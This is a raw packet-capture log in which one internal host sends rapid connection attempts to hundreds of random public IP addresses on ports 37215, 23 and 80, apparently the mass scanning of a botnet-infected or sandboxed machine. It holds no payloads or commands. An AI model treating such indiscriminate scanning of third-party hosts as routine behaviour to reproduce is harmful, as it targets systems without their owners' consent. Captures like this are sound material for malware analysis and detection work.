Dec 3, 2024 21:47:24.102818012 CET	34043	37215	192.168.2.13	156.205.255.182
Dec 3, 2024 21:47:24.102819920 CET	34043	37215	192.168.2.13	197.112.17.96
Dec 3, 2024 21:47:24.102833033 CET	34043	37215	192.168.2.13	41.11.155.86
Dec 3, 2024 21:47:24.102849007 CET	34043	37215	192.168.2.13	197.202.233.161
Dec 3, 2024 21:47:24.102849960 CET	34043	37215	192.168.2.13	156.154.204.34
Dec 3, 2024 21:47:24.102864981 CET	34043	37215	192.168.2.13	156.230.61.146
Dec 3, 2024 21:47:24.102864981 CET	34043	37215	192.168.2.13	156.44.8.228
Dec 3, 2024 21:47:24.102864981 CET	34043	37215	192.168.2.13	197.85.14.153
Dec 3, 2024 21:47:24.102871895 CET	34043	37215	192.168.2.13	197.72.179.196
Dec 3, 2024 21:47:24.102876902 CET	34043	37215	192.168.2.13	41.132.198.80
Dec 3, 2024 21:47:24.102890968 CET	34043	37215	192.168.2.13	156.90.196.142
Dec 3, 2024 21:47:24.102895021 CET	34043	37215	192.168.2.13	41.221.236.57
Dec 3, 2024 21:47:24.102910995 CET	34043	37215	192.168.2.13	156.15.32.197
Dec 3, 2024 21:47:24.102912903 CET	34043	37215	192.168.2.13	156.194.56.40
Dec 3, 2024 21:47:24.102921009 CET	34043	37215	192.168.2.13	41.97.85.247
Dec 3, 2024 21:47:24.102922916 CET	34043	37215	192.168.2.13	197.32.163.66
Dec 3, 2024 21:47:24.102938890 CET	34043	37215	192.168.2.13	156.6.1.100
Dec 3, 2024 21:47:24.102956057 CET	34043	37215	192.168.2.13	41.245.217.22
Dec 3, 2024 21:47:24.102958918 CET	34043	37215	192.168.2.13	41.67.161.228
Dec 3, 2024 21:47:24.102967024 CET	34043	37215	192.168.2.13	197.252.8.34
Dec 3, 2024 21:47:24.102977037 CET	34043	37215	192.168.2.13	197.3.202.249
Dec 3, 2024 21:47:24.102983952 CET	34043	37215	192.168.2.13	197.216.138.108
Dec 3, 2024 21:47:24.103001118 CET	34043	37215	192.168.2.13	197.252.241.64
Dec 3, 2024 21:47:24.103001118 CET	34043	37215	192.168.2.13	156.145.253.26
Dec 3, 2024 21:47:24.103014946 CET	34043	37215	192.168.2.13	197.242.144.95
Dec 3, 2024 21:47:24.103022099 CET	34043	37215	192.168.2.13	41.247.232.245
Dec 3, 2024 21:47:24.103034973 CET	34043	37215	192.168.2.13	41.139.241.219
Dec 3, 2024 21:47:24.103034973 CET	34043	37215	192.168.2.13	41.14.188.28
Dec 3, 2024 21:47:24.103054047 CET	34043	37215	192.168.2.13	41.2.111.0
Dec 3, 2024 21:47:24.103058100 CET	34043	37215	192.168.2.13	41.61.187.178
Dec 3, 2024 21:47:24.103065014 CET	34043	37215	192.168.2.13	41.86.160.57
Dec 3, 2024 21:47:24.103076935 CET	34043	37215	192.168.2.13	156.40.180.98
Dec 3, 2024 21:47:24.103091955 CET	34043	37215	192.168.2.13	197.124.217.17
Dec 3, 2024 21:47:24.103102922 CET	34043	37215	192.168.2.13	197.61.68.56
Dec 3, 2024 21:47:24.103106976 CET	34043	37215	192.168.2.13	156.116.13.134
Dec 3, 2024 21:47:24.103110075 CET	34043	37215	192.168.2.13	156.22.230.143
Dec 3, 2024 21:47:24.103130102 CET	34043	37215	192.168.2.13	41.139.229.153
Dec 3, 2024 21:47:24.103132010 CET	34043	37215	192.168.2.13	197.48.39.69
Dec 3, 2024 21:47:24.103137016 CET	34043	37215	192.168.2.13	41.59.240.209
Dec 3, 2024 21:47:24.103146076 CET	34043	37215	192.168.2.13	156.254.185.80
Dec 3, 2024 21:47:24.103153944 CET	34043	37215	192.168.2.13	197.131.16.128
Dec 3, 2024 21:47:24.103168011 CET	34043	37215	192.168.2.13	197.172.254.52
Dec 3, 2024 21:47:24.103169918 CET	34043	37215	192.168.2.13	41.24.159.138
Dec 3, 2024 21:47:24.103185892 CET	34043	37215	192.168.2.13	197.146.119.143
Dec 3, 2024 21:47:24.103190899 CET	34043	37215	192.168.2.13	197.73.73.250
Dec 3, 2024 21:47:24.103207111 CET	34043	37215	192.168.2.13	41.180.181.201
Dec 3, 2024 21:47:24.103214979 CET	34043	37215	192.168.2.13	197.216.112.195
Dec 3, 2024 21:47:24.103224993 CET	34043	37215	192.168.2.13	156.199.162.74
Dec 3, 2024 21:47:24.103224993 CET	34043	37215	192.168.2.13	41.132.164.195
Dec 3, 2024 21:47:24.103240967 CET	34043	37215	192.168.2.13	156.183.197.131
Dec 3, 2024 21:47:24.103250027 CET	34043	37215	192.168.2.13	197.195.3.78
Dec 3, 2024 21:47:24.103255987 CET	34043	37215	192.168.2.13	197.104.63.159
Dec 3, 2024 21:47:24.103271008 CET	34043	37215	192.168.2.13	41.157.250.249
Dec 3, 2024 21:47:24.103274107 CET	34043	37215	192.168.2.13	156.51.106.250
Dec 3, 2024 21:47:24.103287935 CET	34043	37215	192.168.2.13	197.180.67.111
Dec 3, 2024 21:47:24.103293896 CET	34043	37215	192.168.2.13	197.24.107.172
Dec 3, 2024 21:47:24.116600990 CET	36770	23	192.168.2.13	156.179.77.230
Dec 3, 2024 21:47:24.116600990 CET	49578	23	192.168.2.13	137.87.32.92
Dec 3, 2024 21:47:24.116601944 CET	34238	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:24.116602898 CET	42018	23	192.168.2.13	44.79.158.94
Dec 3, 2024 21:47:24.116602898 CET	43502	23	192.168.2.13	149.154.232.242
Dec 3, 2024 21:47:24.116617918 CET	40176	23	192.168.2.13	90.34.241.221
Dec 3, 2024 21:47:24.116616964 CET	51068	23	192.168.2.13	60.220.55.189
Dec 3, 2024 21:47:24.116616964 CET	39834	37215	192.168.2.13	156.22.92.200
Dec 3, 2024 21:47:24.116617918 CET	58200	23	192.168.2.13	20.95.83.168
Dec 3, 2024 21:47:24.116616964 CET	44306	23	192.168.2.13	34.88.48.121
Dec 3, 2024 21:47:24.116616964 CET	35928	23	192.168.2.13	99.155.216.194
Dec 3, 2024 21:47:24.116626024 CET	48044	23	192.168.2.13	107.112.64.92
Dec 3, 2024 21:47:24.116637945 CET	49940	23	192.168.2.13	102.203.210.143
Dec 3, 2024 21:47:24.116640091 CET	41282	23	192.168.2.13	117.129.227.105
Dec 3, 2024 21:47:24.116642952 CET	36268	23	192.168.2.13	140.69.3.198
Dec 3, 2024 21:47:24.116642952 CET	55308	23	192.168.2.13	186.216.32.182
Dec 3, 2024 21:47:24.116642952 CET	38606	23	192.168.2.13	141.206.171.204
Dec 3, 2024 21:47:24.116645098 CET	56278	23	192.168.2.13	159.211.57.212
Dec 3, 2024 21:47:24.116648912 CET	47456	23	192.168.2.13	96.130.239.208
Dec 3, 2024 21:47:24.116655111 CET	42392	23	192.168.2.13	198.67.245.87
Dec 3, 2024 21:47:24.116657019 CET	60506	23	192.168.2.13	114.31.97.188
Dec 3, 2024 21:47:24.116657972 CET	48196	23	192.168.2.13	31.246.182.137
Dec 3, 2024 21:47:24.116684914 CET	36204	23	192.168.2.13	158.197.67.124
Dec 3, 2024 21:47:24.116691113 CET	57258	23	192.168.2.13	50.186.0.162
Dec 3, 2024 21:47:24.116691113 CET	56218	23	192.168.2.13	164.149.180.219
Dec 3, 2024 21:47:24.116693020 CET	48946	23	192.168.2.13	202.75.144.168
Dec 3, 2024 21:47:24.116703987 CET	52236	23	192.168.2.13	155.63.247.176
Dec 3, 2024 21:47:24.116705894 CET	45316	23	192.168.2.13	106.232.232.247
Dec 3, 2024 21:47:24.116708040 CET	54344	23	192.168.2.13	220.211.251.49
Dec 3, 2024 21:47:24.116715908 CET	46922	23	192.168.2.13	144.144.185.255
Dec 3, 2024 21:47:24.116723061 CET	59154	23	192.168.2.13	129.16.212.225
Dec 3, 2024 21:47:24.116723061 CET	34630	23	192.168.2.13	79.176.234.5
Dec 3, 2024 21:47:24.116729975 CET	38310	23	192.168.2.13	37.228.217.64
Dec 3, 2024 21:47:24.116729975 CET	36578	23	192.168.2.13	52.2.153.85
Dec 3, 2024 21:47:24.116734982 CET	45062	23	192.168.2.13	113.7.157.248
Dec 3, 2024 21:47:24.116740942 CET	60100	23	192.168.2.13	157.45.117.202
Dec 3, 2024 21:47:24.116745949 CET	34256	23	192.168.2.13	190.114.39.15
Dec 3, 2024 21:47:24.116749048 CET	52100	23	192.168.2.13	77.174.65.67
Dec 3, 2024 21:47:24.116754055 CET	47052	23	192.168.2.13	98.183.85.28
Dec 3, 2024 21:47:24.116755009 CET	40556	23	192.168.2.13	13.89.180.59
Dec 3, 2024 21:47:24.116755009 CET	37728	23	192.168.2.13	17.144.221.90
Dec 3, 2024 21:47:24.116761923 CET	41672	23	192.168.2.13	108.18.237.95
Dec 3, 2024 21:47:24.116764069 CET	44388	23	192.168.2.13	203.85.193.185
Dec 3, 2024 21:47:24.116776943 CET	55430	23	192.168.2.13	123.81.77.115
Dec 3, 2024 21:47:24.116779089 CET	51350	80	192.168.2.13	200.178.165.62
Dec 3, 2024 21:47:24.116780043 CET	53512	23	192.168.2.13	90.142.218.151
Dec 3, 2024 21:47:24.116780043 CET	33000	80	192.168.2.13	62.158.162.7
Dec 3, 2024 21:47:24.116791010 CET	46144	80	192.168.2.13	179.117.25.20
Dec 3, 2024 21:47:24.116791010 CET	48918	23	192.168.2.13	154.145.46.122
Dec 3, 2024 21:47:24.116791964 CET	41048	80	192.168.2.13	196.219.121.6
Dec 3, 2024 21:47:24.116800070 CET	37936	23	192.168.2.13	132.105.120.87
Dec 3, 2024 21:47:24.116803885 CET	42822	80	192.168.2.13	196.78.141.7
Dec 3, 2024 21:47:24.116816998 CET	51682	80	192.168.2.13	159.11.151.174
Dec 3, 2024 21:47:24.116821051 CET	56326	80	192.168.2.13	88.81.241.62
Dec 3, 2024 21:47:24.116821051 CET	44196	80	192.168.2.13	12.237.96.134
Dec 3, 2024 21:47:24.116823912 CET	35366	80	192.168.2.13	160.221.57.203
Dec 3, 2024 21:47:24.116823912 CET	51320	80	192.168.2.13	23.174.237.99
Dec 3, 2024 21:47:24.116823912 CET	41282	80	192.168.2.13	153.226.117.52
Dec 3, 2024 21:47:24.116823912 CET	52808	80	192.168.2.13	95.90.150.78
Dec 3, 2024 21:47:24.116832018 CET	47762	80	192.168.2.13	19.56.239.20
Dec 3, 2024 21:47:24.116833925 CET	44862	80	192.168.2.13	138.235.115.9
Dec 3, 2024 21:47:24.116833925 CET	51890	80	192.168.2.13	59.159.83.178
Dec 3, 2024 21:47:24.116846085 CET	46424	80	192.168.2.13	103.205.158.231
Dec 3, 2024 21:47:24.116849899 CET	38992	80	192.168.2.13	122.251.247.179
Dec 3, 2024 21:47:24.116849899 CET	49114	80	192.168.2.13	69.120.229.5
Dec 3, 2024 21:47:24.116852999 CET	51586	80	192.168.2.13	44.50.132.189
Dec 3, 2024 21:47:24.116852999 CET	50066	80	192.168.2.13	103.90.32.150
Dec 3, 2024 21:47:24.116854906 CET	60298	80	192.168.2.13	164.75.9.148
Dec 3, 2024 21:47:24.116856098 CET	56460	80	192.168.2.13	25.138.115.52
Dec 3, 2024 21:47:24.116858959 CET	56588	80	192.168.2.13	104.62.170.28
Dec 3, 2024 21:47:24.116858959 CET	35762	80	192.168.2.13	222.59.174.148
Dec 3, 2024 21:47:24.116858959 CET	41594	80	192.168.2.13	218.66.19.119
Dec 3, 2024 21:47:24.116861105 CET	35502	80	192.168.2.13	27.246.121.87
Dec 3, 2024 21:47:24.116863012 CET	49192	80	192.168.2.13	109.236.91.99
Dec 3, 2024 21:47:24.116863966 CET	42012	80	192.168.2.13	218.206.104.216
Dec 3, 2024 21:47:24.116875887 CET	36828	80	192.168.2.13	57.3.184.193
Dec 3, 2024 21:47:24.116875887 CET	43846	80	192.168.2.13	171.3.155.144
Dec 3, 2024 21:47:24.116875887 CET	37524	80	192.168.2.13	203.54.58.77
Dec 3, 2024 21:47:24.116875887 CET	36486	80	192.168.2.13	151.181.255.214
Dec 3, 2024 21:47:24.116924047 CET	47306	80	192.168.2.13	38.77.138.239
Dec 3, 2024 21:47:24.116924047 CET	38142	80	192.168.2.13	156.90.10.206
Dec 3, 2024 21:47:24.116924047 CET	57392	80	192.168.2.13	106.130.195.250
Dec 3, 2024 21:47:24.116924047 CET	36832	80	192.168.2.13	179.185.179.154
Dec 3, 2024 21:47:24.116924047 CET	42302	80	192.168.2.13	34.80.169.205
Dec 3, 2024 21:47:24.148600101 CET	39226	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:24.148600101 CET	48124	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:24.148622990 CET	35812	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:24.148622036 CET	40590	80	192.168.2.13	18.239.135.55
Dec 3, 2024 21:47:24.148624897 CET	50666	80	192.168.2.13	47.124.83.25
Dec 3, 2024 21:47:24.148628950 CET	58760	80	192.168.2.13	113.18.111.251
Dec 3, 2024 21:47:24.148632050 CET	50372	80	192.168.2.13	49.136.121.133
Dec 3, 2024 21:47:24.148632050 CET	51010	80	192.168.2.13	83.11.76.171
Dec 3, 2024 21:47:24.148632050 CET	48738	80	192.168.2.13	174.0.32.205
Dec 3, 2024 21:47:24.148632050 CET	57028	80	192.168.2.13	182.1.122.176
Dec 3, 2024 21:47:24.148652077 CET	35292	80	192.168.2.13	102.147.224.252
Dec 3, 2024 21:47:24.148652077 CET	51330	80	192.168.2.13	219.23.233.148
Dec 3, 2024 21:47:24.148652077 CET	55756	80	192.168.2.13	136.104.44.43
Dec 3, 2024 21:47:24.148658991 CET	50114	80	192.168.2.13	201.56.167.250
Dec 3, 2024 21:47:24.148657084 CET	59796	80	192.168.2.13	66.188.77.113
Dec 3, 2024 21:47:24.148657084 CET	49612	80	192.168.2.13	181.220.210.118
Dec 3, 2024 21:47:24.148657084 CET	42684	80	192.168.2.13	27.52.117.91
Dec 3, 2024 21:47:24.148672104 CET	42390	80	192.168.2.13	203.111.30.129
Dec 3, 2024 21:47:24.148672104 CET	40924	80	192.168.2.13	223.27.214.189
Dec 3, 2024 21:47:24.148672104 CET	59230	80	192.168.2.13	91.125.18.79
Dec 3, 2024 21:47:24.148677111 CET	52844	80	192.168.2.13	60.43.110.158
Dec 3, 2024 21:47:24.148679018 CET	57622	80	192.168.2.13	63.137.121.204
Dec 3, 2024 21:47:24.148679972 CET	49554	80	192.168.2.13	186.14.24.52
Dec 3, 2024 21:47:24.148680925 CET	34392	80	192.168.2.13	49.126.64.179
Dec 3, 2024 21:47:24.148685932 CET	41906	80	192.168.2.13	207.71.183.182
Dec 3, 2024 21:47:24.148686886 CET	46662	80	192.168.2.13	106.4.74.96
Dec 3, 2024 21:47:24.204760075 CET	23	40360	156.161.176.194	192.168.2.13
Dec 3, 2024 21:47:24.204793930 CET	23	42232	71.224.250.219	192.168.2.13
Dec 3, 2024 21:47:24.204808950 CET	23	59582	148.8.165.54	192.168.2.13
Dec 3, 2024 21:47:24.204909086 CET	59582	23	192.168.2.13	148.8.165.54
Dec 3, 2024 21:47:24.204919100 CET	40360	23	192.168.2.13	156.161.176.194
Dec 3, 2024 21:47:24.204933882 CET	42232	23	192.168.2.13	71.224.250.219
Dec 3, 2024 21:47:24.205050945 CET	40955	23	192.168.2.13	17.23.16.124
Dec 3, 2024 21:47:24.205059052 CET	40955	23	192.168.2.13	223.113.189.32
Dec 3, 2024 21:47:24.205066919 CET	40955	23	192.168.2.13	85.235.42.84
Dec 3, 2024 21:47:24.205066919 CET	40955	23	192.168.2.13	155.123.99.56
Dec 3, 2024 21:47:24.205085993 CET	40955	23	192.168.2.13	185.39.153.53
Dec 3, 2024 21:47:24.205091000 CET	40955	23	192.168.2.13	52.20.208.175
Dec 3, 2024 21:47:24.205091000 CET	40955	23	192.168.2.13	137.60.92.11
Dec 3, 2024 21:47:24.205111027 CET	40955	23	192.168.2.13	172.181.26.37
Dec 3, 2024 21:47:24.205116987 CET	40955	23	192.168.2.13	108.191.209.27
Dec 3, 2024 21:47:24.205116987 CET	40955	23	192.168.2.13	18.177.133.252
Dec 3, 2024 21:47:24.205126047 CET	40955	23	192.168.2.13	116.48.213.32
Dec 3, 2024 21:47:24.205137014 CET	40955	23	192.168.2.13	117.205.3.163
Dec 3, 2024 21:47:24.205137014 CET	40955	23	192.168.2.13	49.19.57.179
Dec 3, 2024 21:47:24.205143929 CET	40955	23	192.168.2.13	162.50.158.183
Dec 3, 2024 21:47:24.205151081 CET	40955	23	192.168.2.13	148.224.59.192
Dec 3, 2024 21:47:24.205158949 CET	40955	23	192.168.2.13	116.153.153.213
Dec 3, 2024 21:47:24.205158949 CET	40955	23	192.168.2.13	153.175.134.119
Dec 3, 2024 21:47:24.205163002 CET	40955	23	192.168.2.13	86.208.59.88
Dec 3, 2024 21:47:24.205180883 CET	40955	23	192.168.2.13	139.49.84.128
Dec 3, 2024 21:47:24.205183029 CET	40955	23	192.168.2.13	38.31.145.68
Dec 3, 2024 21:47:24.205185890 CET	40955	23	192.168.2.13	187.44.131.6
Dec 3, 2024 21:47:24.205188036 CET	40955	23	192.168.2.13	149.138.90.248
Dec 3, 2024 21:47:24.205195904 CET	40955	23	192.168.2.13	12.181.100.22
Dec 3, 2024 21:47:24.205209017 CET	40955	23	192.168.2.13	45.174.5.16
Dec 3, 2024 21:47:24.205210924 CET	40955	23	192.168.2.13	207.53.225.219
Dec 3, 2024 21:47:24.205218077 CET	40955	23	192.168.2.13	14.240.63.193
Dec 3, 2024 21:47:24.205218077 CET	40955	23	192.168.2.13	202.149.146.45
Dec 3, 2024 21:47:24.205219030 CET	40955	23	192.168.2.13	162.112.161.168
Dec 3, 2024 21:47:24.205219030 CET	40955	23	192.168.2.13	218.239.111.203
Dec 3, 2024 21:47:24.205239058 CET	40955	23	192.168.2.13	126.3.196.169
Dec 3, 2024 21:47:24.205243111 CET	40955	23	192.168.2.13	91.252.253.132
Dec 3, 2024 21:47:24.205255985 CET	40955	23	192.168.2.13	191.228.176.128
Dec 3, 2024 21:47:24.205256939 CET	40955	23	192.168.2.13	200.64.207.29
Dec 3, 2024 21:47:24.205270052 CET	40955	23	192.168.2.13	137.135.46.184
Dec 3, 2024 21:47:24.205275059 CET	40955	23	192.168.2.13	51.196.160.114
Dec 3, 2024 21:47:24.205298901 CET	40955	23	192.168.2.13	202.8.241.95
Dec 3, 2024 21:47:24.205300093 CET	40955	23	192.168.2.13	167.242.142.99
Dec 3, 2024 21:47:24.205300093 CET	40955	23	192.168.2.13	69.72.229.6
Dec 3, 2024 21:47:24.205302954 CET	40955	23	192.168.2.13	139.23.25.222
Dec 3, 2024 21:47:24.205312014 CET	40955	23	192.168.2.13	151.162.6.173
Dec 3, 2024 21:47:24.205324888 CET	40955	23	192.168.2.13	179.161.70.108
Dec 3, 2024 21:47:24.205338001 CET	40955	23	192.168.2.13	86.156.87.116
Dec 3, 2024 21:47:24.205343962 CET	40955	23	192.168.2.13	202.114.22.223
Dec 3, 2024 21:47:24.205346107 CET	40955	23	192.168.2.13	61.4.19.134
Dec 3, 2024 21:47:24.205349922 CET	40955	23	192.168.2.13	129.34.217.76
Dec 3, 2024 21:47:24.205365896 CET	40955	23	192.168.2.13	46.233.54.222
Dec 3, 2024 21:47:24.205367088 CET	40955	23	192.168.2.13	64.245.5.104
Dec 3, 2024 21:47:24.205368996 CET	40955	23	192.168.2.13	104.50.3.25
Dec 3, 2024 21:47:24.205378056 CET	40955	23	192.168.2.13	167.213.9.182
Dec 3, 2024 21:47:24.205380917 CET	40955	23	192.168.2.13	57.31.208.49
Dec 3, 2024 21:47:24.205380917 CET	40955	23	192.168.2.13	95.6.139.107
Dec 3, 2024 21:47:24.205394983 CET	40955	23	192.168.2.13	153.163.169.181
Dec 3, 2024 21:47:24.205404043 CET	40955	23	192.168.2.13	25.155.106.195
Dec 3, 2024 21:47:24.205416918 CET	40955	23	192.168.2.13	76.60.43.217
Dec 3, 2024 21:47:24.205419064 CET	40955	23	192.168.2.13	128.212.13.184
Dec 3, 2024 21:47:24.205434084 CET	40955	23	192.168.2.13	188.103.0.46
Dec 3, 2024 21:47:24.205434084 CET	40955	23	192.168.2.13	57.34.195.119
Dec 3, 2024 21:47:24.205435991 CET	40955	23	192.168.2.13	87.246.184.150
Dec 3, 2024 21:47:24.205440998 CET	40955	23	192.168.2.13	109.132.11.84
Dec 3, 2024 21:47:24.205449104 CET	40955	23	192.168.2.13	198.23.64.89
Dec 3, 2024 21:47:24.205457926 CET	40955	23	192.168.2.13	169.80.143.214
Dec 3, 2024 21:47:24.205471039 CET	40955	23	192.168.2.13	80.112.49.196
Dec 3, 2024 21:47:24.205476046 CET	40955	23	192.168.2.13	57.99.119.173
Dec 3, 2024 21:47:24.205476046 CET	40955	23	192.168.2.13	53.193.229.202
Dec 3, 2024 21:47:24.205498934 CET	40955	23	192.168.2.13	142.239.190.49
Dec 3, 2024 21:47:24.205501080 CET	40955	23	192.168.2.13	210.44.16.156
Dec 3, 2024 21:47:24.205502987 CET	40955	23	192.168.2.13	98.243.73.236
Dec 3, 2024 21:47:24.205504894 CET	40955	23	192.168.2.13	61.24.71.60
Dec 3, 2024 21:47:24.205504894 CET	40955	23	192.168.2.13	191.115.187.8
Dec 3, 2024 21:47:24.205523968 CET	40955	23	192.168.2.13	110.73.33.118
Dec 3, 2024 21:47:24.205523968 CET	40955	23	192.168.2.13	45.180.76.8
Dec 3, 2024 21:47:24.205526114 CET	40955	23	192.168.2.13	111.48.88.201
Dec 3, 2024 21:47:24.205527067 CET	40955	23	192.168.2.13	152.37.30.92
Dec 3, 2024 21:47:24.205528021 CET	40955	23	192.168.2.13	110.34.49.75
Dec 3, 2024 21:47:24.205528021 CET	40955	23	192.168.2.13	153.77.138.154
Dec 3, 2024 21:47:24.205534935 CET	40955	23	192.168.2.13	58.231.199.240
Dec 3, 2024 21:47:24.205549955 CET	40955	23	192.168.2.13	85.129.107.172
Dec 3, 2024 21:47:24.205549955 CET	40955	23	192.168.2.13	179.76.8.191
Dec 3, 2024 21:47:24.205552101 CET	40955	23	192.168.2.13	129.245.185.35
Dec 3, 2024 21:47:24.205555916 CET	40955	23	192.168.2.13	207.226.45.98
Dec 3, 2024 21:47:24.205557108 CET	40955	23	192.168.2.13	95.226.196.106
Dec 3, 2024 21:47:24.205564976 CET	40955	23	192.168.2.13	84.132.89.41
Dec 3, 2024 21:47:24.205571890 CET	40955	23	192.168.2.13	200.127.83.229
Dec 3, 2024 21:47:24.205586910 CET	40955	23	192.168.2.13	78.56.238.249
Dec 3, 2024 21:47:24.205590010 CET	40955	23	192.168.2.13	129.150.167.4
Dec 3, 2024 21:47:24.205591917 CET	40955	23	192.168.2.13	110.84.142.230
Dec 3, 2024 21:47:24.205593109 CET	40955	23	192.168.2.13	204.10.230.175
Dec 3, 2024 21:47:24.205593109 CET	40955	23	192.168.2.13	183.221.136.24
Dec 3, 2024 21:47:24.205596924 CET	40955	23	192.168.2.13	115.176.211.124
Dec 3, 2024 21:47:24.205600023 CET	40955	23	192.168.2.13	197.146.224.241
Dec 3, 2024 21:47:24.205612898 CET	40955	23	192.168.2.13	143.128.79.157
Dec 3, 2024 21:47:24.205616951 CET	40955	23	192.168.2.13	116.205.105.2
Dec 3, 2024 21:47:24.205626011 CET	40955	23	192.168.2.13	202.199.17.132
Dec 3, 2024 21:47:24.205631971 CET	40955	23	192.168.2.13	88.55.235.238
Dec 3, 2024 21:47:24.205638885 CET	40955	23	192.168.2.13	79.225.70.210
Dec 3, 2024 21:47:24.205662012 CET	40955	23	192.168.2.13	116.74.28.71
Dec 3, 2024 21:47:24.205667973 CET	40955	23	192.168.2.13	135.238.204.157
Dec 3, 2024 21:47:24.205672026 CET	40955	23	192.168.2.13	157.212.208.135
Dec 3, 2024 21:47:24.205672026 CET	40955	23	192.168.2.13	62.142.98.212
Dec 3, 2024 21:47:24.205677032 CET	40955	23	192.168.2.13	124.30.123.119
Dec 3, 2024 21:47:24.205677032 CET	40955	23	192.168.2.13	77.72.27.229
Dec 3, 2024 21:47:24.205678940 CET	40955	23	192.168.2.13	106.65.153.167
Dec 3, 2024 21:47:24.205678940 CET	40955	23	192.168.2.13	147.34.106.204
Dec 3, 2024 21:47:24.205678940 CET	40955	23	192.168.2.13	18.209.49.199
Dec 3, 2024 21:47:24.205686092 CET	40955	23	192.168.2.13	142.77.45.106
Dec 3, 2024 21:47:24.205686092 CET	40955	23	192.168.2.13	77.87.138.39
Dec 3, 2024 21:47:24.205698967 CET	40955	23	192.168.2.13	145.117.69.101
Dec 3, 2024 21:47:24.205704927 CET	40955	23	192.168.2.13	70.1.180.94
Dec 3, 2024 21:47:24.205709934 CET	40955	23	192.168.2.13	171.254.222.110
Dec 3, 2024 21:47:24.205723047 CET	40955	23	192.168.2.13	172.149.150.51
Dec 3, 2024 21:47:24.205723047 CET	40955	23	192.168.2.13	59.164.196.69
Dec 3, 2024 21:47:24.205725908 CET	40955	23	192.168.2.13	190.163.200.191
Dec 3, 2024 21:47:24.205746889 CET	40955	23	192.168.2.13	83.178.84.211
Dec 3, 2024 21:47:24.205748081 CET	40955	23	192.168.2.13	86.200.133.159
Dec 3, 2024 21:47:24.205749035 CET	40955	23	192.168.2.13	2.38.195.178
Dec 3, 2024 21:47:24.205749035 CET	40955	23	192.168.2.13	27.54.108.197
Dec 3, 2024 21:47:24.205766916 CET	40955	23	192.168.2.13	141.169.47.33
Dec 3, 2024 21:47:24.205768108 CET	40955	23	192.168.2.13	112.84.79.15
Dec 3, 2024 21:47:24.205789089 CET	40955	23	192.168.2.13	191.78.176.205
Dec 3, 2024 21:47:24.205789089 CET	40955	23	192.168.2.13	119.207.143.219
Dec 3, 2024 21:47:24.205792904 CET	40955	23	192.168.2.13	38.71.100.98
Dec 3, 2024 21:47:24.205792904 CET	40955	23	192.168.2.13	103.33.254.41
Dec 3, 2024 21:47:24.205801964 CET	40955	23	192.168.2.13	130.195.221.53
Dec 3, 2024 21:47:24.205806017 CET	40955	23	192.168.2.13	71.101.184.110
Dec 3, 2024 21:47:24.205812931 CET	40955	23	192.168.2.13	113.232.159.2
Dec 3, 2024 21:47:24.205812931 CET	40955	23	192.168.2.13	83.159.28.196
Dec 3, 2024 21:47:24.205821991 CET	40955	23	192.168.2.13	57.66.10.151
Dec 3, 2024 21:47:24.205827951 CET	40955	23	192.168.2.13	213.120.182.255
Dec 3, 2024 21:47:24.205832958 CET	40955	23	192.168.2.13	163.204.85.47
Dec 3, 2024 21:47:24.205841064 CET	40955	23	192.168.2.13	57.146.128.97
Dec 3, 2024 21:47:24.205851078 CET	40955	23	192.168.2.13	74.175.92.81
Dec 3, 2024 21:47:24.205873013 CET	40955	23	192.168.2.13	36.34.187.33
Dec 3, 2024 21:47:24.205874920 CET	40955	23	192.168.2.13	81.137.196.81
Dec 3, 2024 21:47:24.205873966 CET	40955	23	192.168.2.13	220.195.58.142
Dec 3, 2024 21:47:24.205873966 CET	40955	23	192.168.2.13	99.195.67.5
Dec 3, 2024 21:47:24.205883980 CET	40955	23	192.168.2.13	164.166.187.246
Dec 3, 2024 21:47:24.205883980 CET	40955	23	192.168.2.13	51.232.92.49
Dec 3, 2024 21:47:24.205883980 CET	40955	23	192.168.2.13	222.50.248.135
Dec 3, 2024 21:47:24.205914021 CET	40955	23	192.168.2.13	121.247.136.219
Dec 3, 2024 21:47:24.205914974 CET	40955	23	192.168.2.13	87.253.235.102
Dec 3, 2024 21:47:24.205918074 CET	40955	23	192.168.2.13	107.53.29.213
Dec 3, 2024 21:47:24.205920935 CET	40955	23	192.168.2.13	4.193.233.217
Dec 3, 2024 21:47:24.205920935 CET	40955	23	192.168.2.13	217.43.173.162
Dec 3, 2024 21:47:24.205929041 CET	40955	23	192.168.2.13	212.34.35.191
Dec 3, 2024 21:47:24.205935955 CET	40955	23	192.168.2.13	147.5.74.102
Dec 3, 2024 21:47:24.205935955 CET	40955	23	192.168.2.13	13.95.233.158
Dec 3, 2024 21:47:24.205938101 CET	40955	23	192.168.2.13	79.59.179.235
Dec 3, 2024 21:47:24.205939054 CET	40955	23	192.168.2.13	209.58.146.176
Dec 3, 2024 21:47:24.205938101 CET	40955	23	192.168.2.13	122.63.186.34
Dec 3, 2024 21:47:24.205938101 CET	40955	23	192.168.2.13	34.185.13.139
Dec 3, 2024 21:47:24.205938101 CET	40955	23	192.168.2.13	211.141.169.21
Dec 3, 2024 21:47:24.205954075 CET	40955	23	192.168.2.13	117.249.132.110
Dec 3, 2024 21:47:24.205954075 CET	40955	23	192.168.2.13	67.171.213.218
Dec 3, 2024 21:47:24.205955029 CET	40955	23	192.168.2.13	143.235.72.88
Dec 3, 2024 21:47:24.205960989 CET	40955	23	192.168.2.13	89.248.243.103
Dec 3, 2024 21:47:24.205954075 CET	40955	23	192.168.2.13	8.169.228.199
Dec 3, 2024 21:47:24.205960989 CET	40955	23	192.168.2.13	63.161.200.240
Dec 3, 2024 21:47:24.205955029 CET	40955	23	192.168.2.13	163.244.28.153
Dec 3, 2024 21:47:24.205961943 CET	40955	23	192.168.2.13	135.44.228.144
Dec 3, 2024 21:47:24.205980062 CET	40955	23	192.168.2.13	12.136.70.175
Dec 3, 2024 21:47:24.205981016 CET	40955	23	192.168.2.13	94.48.15.237
Dec 3, 2024 21:47:24.205987930 CET	40955	23	192.168.2.13	164.247.147.153
Dec 3, 2024 21:47:24.205997944 CET	40955	23	192.168.2.13	35.149.11.90
Dec 3, 2024 21:47:24.206007957 CET	40955	23	192.168.2.13	73.218.224.117
Dec 3, 2024 21:47:24.206013918 CET	40955	23	192.168.2.13	204.61.200.93
Dec 3, 2024 21:47:24.206013918 CET	40955	23	192.168.2.13	31.39.30.52
Dec 3, 2024 21:47:24.206024885 CET	40955	23	192.168.2.13	86.195.225.186
